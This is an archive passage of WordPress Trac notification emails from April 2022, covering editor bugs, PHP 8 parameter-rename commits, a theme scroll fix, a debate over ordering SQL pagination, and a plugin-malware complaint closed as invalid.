Review Component: HTTP API | Version: trunk Severity: major | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by sabernhardt): Hi and thanks for the ticket! Possibly related: #17271 I was able to reproduce a 200 response when using an incorrect `DB_HOST` in my wp-config. Incorrect `DB_NAME`, `DB_USER` and `DB_PASSWORD` properly resulted in code 500. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55610#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 20:57:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 20:57:21 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.368a5a747d781f39e8ea0ef9d38e6f13@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53245" 53245]: {{{ #!CommitTicketReference repository="" revision="53245" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-customize-nav-menus.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$type` and `$object` parameters to `$object_type` and `$object_name` in `WP_Customize_Nav_Menus::load_available_items_query()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:44> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 21:06:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 21:06:24 -0000 Subject: [wp-trac] [WordPress Trac] #55610: HTTP response should not be 200 when returning error-page In-Reply-To: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> References: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> Message-ID: <067.9026248ee05990ff1ed2e0e62ae3f518@wordpress.org> #55610: HTTP response should not be 200 when returning error-page --------------------------+------------------------------ Reporter: april213 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: HTTP API | Version: Severity: major | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by sabernhardt): * version: trunk => Comment: The same happened with my 5.8 and 5.9 installations, so this should not be new to trunk. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55610#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 21:45:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 21:45:13 -0000 Subject: [wp-trac] [WordPress Trac] #55546: It is unclear what the two URL settings mean. In-Reply-To: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> References: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> Message-ID: <065.8e46892dac0f614b530679b689fb3f4d@wordpress.org> #55546: It is unclear what the two URL settings mean. --------------------------+------------------------------ Reporter: billpg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Text Changes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui --------------------------+------------------------------ Comment (by sabernhardt): Related: #50886 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55546#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 23:45:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 23:45:33 -0000 Subject: [wp-trac] [WordPress Trac] #55069: Optimize fread() calls using file_get_contents() or stream_get_contents() In-Reply-To: <057.06ada43a9b113f0e9d889b20a09dea0b@wordpress.org> References: <057.06ada43a9b113f0e9d889b20a09dea0b@wordpress.org> Message-ID: <072.03d9088b3b463386d11c924e974cb264@wordpress.org> #55069: Optimize fread() calls using file_get_contents() or stream_get_contents() ---------------------------+----------------------------- Reporter: maxkellermann | Owner: SergeyBiryukov Type: enhancement | Status: accepted Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: performance ---------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55069#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 23:54:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 23:54:04 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode Message-ID: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> #55611: Changes disappear when switching the editor mode --------------------------+----------------------------- Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Post editor - wp/wp-admin/post.php?post=1234&action=edit When I switch from HTML mode to the visual mode, all changes that I made are disappearing without any warning. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 00:01:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 00:01:01 -0000 Subject: [wp-trac] [WordPress Trac] #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor Message-ID: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor --------------------------+----------------------------- Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Page editor - wp/wp-admin/post.php?post=1234&action=edit Hot key to switch the editor mode Ctrl-Alt-Shift-M works only if you take a mouse and click on the edit area. Moreover, after the trigger, it does not work again. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55612> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 00:26:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 00:26:17 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.e889f5753e44a66d384438819d4ee0ee@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53246" 53246]: {{{ #!CommitTicketReference repository="" revision="53246" Code Modernization: Rename parameters that use reserved keywords in `swp- includes/class-wp-customize-setting.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$default` parameter to `$default_value` in `WP_Customize_Setting` class methods. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:45> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 00:31:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 00:31:52 -0000 Subject: [wp-trac] [WordPress Trac] #54770: The term "Current Theme" is ambiguous In-Reply-To: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> References: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> Message-ID: <068.4689065c78830c437e262cd7eef7ef7c@wordpress.org> #54770: The term "Current Theme" is ambiguous -------------------------+--------------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, administration -------------------------+--------------------------------- Comment (by costdev): This is an enhancement that had commits in the 6.0 milestone. With Beta 3 and soft string freeze arriving on Tuesday, is there anything actionable left for this ticket? My thoughts on the discussion: `The theme` Which one? `The current theme` Currently what? Installed or active? `The currently active theme` What was the previously active theme? We don't have that functionality. Being able to change the active theme is the same as being able to change the site title. We don't say "Current site title". `The active theme` Clean and simple. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54770#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 01:02:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 01:02:32 -0000 Subject: [wp-trac] [WordPress Trac] #55606: Add wp_after_tag_search filter In-Reply-To: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> References: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> Message-ID: <069.f266554358227562539ae58273bac67c@wordpress.org> #55606: Add wp_after_tag_search filter -------------------------------------------------+------------------------- Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Taxonomy | Version: 3.1 Severity: normal | Resolution: Keywords: has-screenshots has-patch changes- | Focuses: requested needs-unit-tests | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-screenshots has-patch => has-screenshots has-patch changes-requested needs-unit-tests * version: trunk => 3.1 * severity: trivial => normal * milestone: Awaiting Review => 6.1 Comment: Hi @grandeljay, welcome to Trac and thanks for the PR! I have added some thoughts in my review. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55606#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 10:00:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 10:00:49 -0000 Subject: [wp-trac] [WordPress Trac] #54770: The term "Current Theme" is ambiguous In-Reply-To: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> References: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> Message-ID: <068.97cb6cf51daf00be93049fff99eb91c0@wordpress.org> #54770: The term "Current Theme" is ambiguous -------------------------+--------------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, administration -------------------------+--------------------------------- Comment (by knutsp): On Multisite, when editing a site, the site can have none, one, or multiple active themes. This means available for the site admin to choose from. If that is not changed (to, say "Available Themes" and Activate to "Make available"), I would prefer the term "Current Theme" in a single site context. I can't see "Current Theme" can mean anything else than the currently active theme, as other installed themes are not "current". And then the verb Activate for a theme should may be change to "Make current". -- Ticket URL: <https://core.trac.wordpress.org/ticket/54770#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 11:09:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 11:09:45 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.048306e05c6ea59c0ec2eac6b29cb13e@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by hobzhobz): Replying to [comment:6 axdr]: > Too many records in the drop-down list will make it impossible to use it. > > No need to solve this problem by outputing the headings of all pages. > Perhaps someone can solve it using the menu-order field. It's already sorted by menu_order. You know what happens if menu_order is 0 on all pages? Undefined behavior. You know what that means? It means that they come in seemingly random order. Do you know what that means when doing pagination? It means that page 1 has 100 random pages. Page 2 has 100 random pages. Did you know that this means that the same page can come on page 1 and page 2? Yes it can. You need to sort on menu_order AND a secondary parameter. Something like ID perhaps. BAD: order by menu_order limit 0,100 GOOD: order by meny_order, ID limit 0,100 -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 12:12:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 12:12:40 -0000 Subject: [wp-trac] [WordPress Trac] #55613: Beware Virus in plugin Message-ID: <051.9f7e26082235a580ce659a7a1f17b44e@wordpress.org> #55613: Beware Virus in plugin --------------------------+----------------------------- Reporter: rarcntv | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hi, I have proof. They access to a site and install malware. what detect by virus detector. I have so surprise why you don’t check that issue before public it. Technical cheating. what I see just install something to my site. but how the leak. its detect install via that plugin. take access the site. 100% Security Vulnerabilities https://wordpress.org/support/plugin/google-captcha/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55613> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 12:13:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 12:13:13 -0000 Subject: [wp-trac] [WordPress Trac] #55613: Beware Virus in plugin In-Reply-To: <051.9f7e26082235a580ce659a7a1f17b44e@wordpress.org> References: <051.9f7e26082235a580ce659a7a1f17b44e@wordpress.org> Message-ID: <066.2501623833190194db7f415dd45c8044@wordpress.org> #55613: Beware Virus in plugin --------------------------+------------------------------ Reporter: rarcntv | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by rarcntv): * Attachment "Virus_by_recapcha.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55613> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 13:12:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 13:12:03 -0000 Subject: [wp-trac] [WordPress Trac] #55613: Beware Virus in plugin In-Reply-To: <051.9f7e26082235a580ce659a7a1f17b44e@wordpress.org> References: <051.9f7e26082235a580ce659a7a1f17b44e@wordpress.org> Message-ID: <066.13c86392764eb460a4ef3a8f0f8cf9fc@wordpress.org> #55613: Beware Virus in plugin --------------------------+------------------------------ Reporter: rarcntv | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Changes (by knutsp): * status: new => closed * resolution: => invalid Comment: Hello and welcome to WordPress Core Trac. This system is for making the core software. For reporting a plugin, please visit https://developer.wordpress.org/plugins/wordpress-org/plugin-security /reporting-plugin-security-issues/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55613#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 16:24:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 16:24:36 -0000 Subject: [wp-trac] [WordPress Trac] #55552: Status of skip-link bug unclear In-Reply-To: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> References: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> Message-ID: <072.6acbbf006a60e662eddd7d3346f462f7@wordpress.org> #55552: Status of skip-link bug unclear ---------------------------+---------------------------------------- Reporter: Clarus Dignus | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: accessibility, javascript ---------------------------+---------------------------------------- Comment (by Clarus Dignus): Thanks for the clarification. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55552#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 18:18:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 18:18:48 -0000 Subject: [wp-trac] [WordPress Trac] #55606: Add wp_after_tag_search filter In-Reply-To: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> References: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> Message-ID: <069.e1aa3aa8ae9039199dadd8dc3fe8377b@wordpress.org> #55606: Add wp_after_tag_search filter -------------------------------------------------+------------------------- Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Taxonomy | Version: 3.1 Severity: normal | Resolution: Keywords: has-screenshots has-patch changes- | Focuses: requested needs-unit-tests | -------------------------------------------------+------------------------- Comment (by grandeljay): Thanks @costdev! I've added my replies (not sure if you get notifications for those). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55606#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 18:40:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 18:40:16 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.a06b69764d824f64aae5d709ad9e7542@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by axdr): Replying to [comment:8 hobzhobz]: > Replying to [comment:6 axdr]: > > Too many records in the drop-down list will make it impossible to use it. > > > > No need to solve this problem by outputing the headings of all pages. > > Perhaps someone can solve it using the menu-order field. > > Warning: might sound condescending. But i'm trying to be extra clear here because this seems so hard for people to understand... > > It's already sorted by menu_order. > You know what happens if menu_order is 0 on all pages? Undefined behavior. You know what that means? It means that they come in seemingly random order. Do you know what that means when doing pagination? It means that page 1 has 100 random pages. Page 2 has 100 random pages. Did you know that this means that the same page can come on page 1 and page 2? Yes it can. > You need to sort on menu_order AND a secondary parameter. Something like ID perhaps. > > BAD: order by menu_order limit 0,100 > GOOD: order by menu_order, ID limit 0,100 > > > BAD: ORDER BY menu_order LIMIT 0,100 GOOD: WHERE menu_order<>0 ORDER BY menu_order, post_title The problem is that it is GOOD only when the number of pages is more than critical -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 18:51:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 18:51:43 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.dad43ce7bfc542e4f053ac98af197d5b@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by hobzhobz): Replying to [comment:9 axdr]: > Replying to [comment:8 hobzhobz]: > > Replying to [comment:6 axdr]: > > > Too many records in the drop-down list will make it impossible to use it. > > > > > > No need to solve this problem by outputing the headings of all pages. > > > Perhaps someone can solve it using the menu-order field. > > > > Warning: might sound condescending. But i'm trying to be extra clear here because this seems so hard for people to understand... > > > > It's already sorted by menu_order. > > You know what happens if menu_order is 0 on all pages? Undefined behavior. You know what that means? It means that they come in seemingly random order. Do you know what that means when doing pagination? It means that page 1 has 100 random pages. Page 2 has 100 random pages. Did you know that this means that the same page can come on page 1 and page 2? Yes it can. > > You need to sort on menu_order AND a secondary parameter. Something like ID perhaps. > > > > BAD: order by menu_order limit 0,100 > > GOOD: order by menu_order, ID limit 0,100 > > > > > > > > BAD: ORDER BY menu_order LIMIT 0,100 > GOOD: WHERE menu_order<>0 ORDER BY menu_order, post_title > > The problem is that it is GOOD only when the number of pages is more than critical You can't add a where statement to exclude all pages that has menu_order 0. They need to be included. post_title is not safe also. Two pages can have the same title. they will be sorted in undefined behavior/random. If they happen to be just around the cut-off it's gonna be problem. You need to always have a unique field in the sorting when doing pagination with SQL database. BAD: ORDER BY menu_order, page_title GOOD: ORDER BY menu_order, page_title, ID -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 20:45:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 20:45:50 -0000 Subject: [wp-trac] [WordPress Trac] #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag In-Reply-To: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> References: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> Message-ID: <072.650258d3b7c81da26dfa61896e722517@wordpress.org> #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag -------------------------------------+------------------------- Reporter: stephenharris | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.7.1 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: javascript -------------------------------------+------------------------- Comment (by audrasjb): Thanks @sabernhardt I successfully reproduced the issue :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/40492#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 20:46:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 20:46:23 -0000 Subject: [wp-trac] [WordPress Trac] #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag In-Reply-To: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> References: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> Message-ID: <072.ec25664f90d92da5e6b2d680f8518a60@wordpress.org> #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag -------------------------------------+------------------------- Reporter: stephenharris | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.7.1 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: javascript -------------------------------------+------------------------- Changes (by audrasjb): * Attachment "460a4a99e7a526f46a609fa7e765e774.gif" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40492> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 20:49:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 20:49:39 -0000 Subject: [wp-trac] [WordPress Trac] #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag In-Reply-To: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> References: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> Message-ID: <072.613cd710f9ebf16567326ed496b7e23e@wordpress.org> #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag -------------------------------------+------------------------- Reporter: stephenharris | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.7.1 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: javascript -------------------------------------+------------------------- Changes (by audrasjb): * Attachment "d0e091f9ee7b6c3ee83a3a84d63b1c53.gif" added. after patch: works fine! -- Ticket URL: <https://core.trac.wordpress.org/ticket/40492> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 20:51:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 20:51:03 -0000 Subject: [wp-trac] [WordPress Trac] #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag In-Reply-To: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> References: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> Message-ID: <072.efe6d1d0cb35499034a93311d75b11b4@wordpress.org> #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag -------------------------------------------------+------------------------- Reporter: stephenharris | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.7.1 Severity: minor | Resolution: Keywords: has-patch has-screenshots commit | Focuses: javascript assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-testing => has-patch has-screenshots commit assigned-for-commit * owner: (none) => audrasjb * status: new => accepted Comment: Looks good to me! -- Ticket URL: <https://core.trac.wordpress.org/ticket/40492#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 21:01:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 21:01:24 -0000 Subject: [wp-trac] [WordPress Trac] #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag In-Reply-To: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> References: <057.284cc44ea09922081368f4d3ce3a80d4@wordpress.org> Message-ID: <072.4637bd71079fd3674cd226af7aa886a0@wordpress.org> #40492: Twenty Fifteen: Jumping if there is content just before the closing body tag -------------------------------------------------+------------------------- Reporter: stephenharris | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.7.1 Severity: minor | Resolution: fixed Keywords: has-patch has-screenshots commit | Focuses: javascript assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53247" 53247]: {{{ #!CommitTicketReference repository="" revision="53247" Twenty Fifteen: Use `#page` height instead of `body` height in sidebar scroll calculation. This changeset replaces `bodyHeight = $body.height();` with `bodyHeight = $('#page).height();`. It fixes a JS issue in some specific context, when there is content generated right before the closing `body` tag. For example, this happens when the HTML content is added using the `wp_footer` filter. Props stephenharris, sabernhardt, audrasjb. Fixes #40492. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/40492#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 21:27:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 21:27:07 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.c9bafb37ab83f42357ede9856e37bf2a@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53248" 53248]: {{{ #!CommitTicketReference repository="" revision="53248" Docs: Use third-person singular verbs for function descriptions in Multisite WordPress API, as per docs standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:81> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 21:30:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 21:30:35 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.dc598b7e9411c1be555693157db4544c@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53249" 53249]: {{{ #!CommitTicketReference repository="" revision="53249" Docs: Use third-person singular verbs for function descriptions in `wp- includes/capabilities.php`, as per docs standards. Props azouamauriac. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:82> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 24 23:23:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 24 Apr 2022 23:23:00 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode In-Reply-To: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> References: 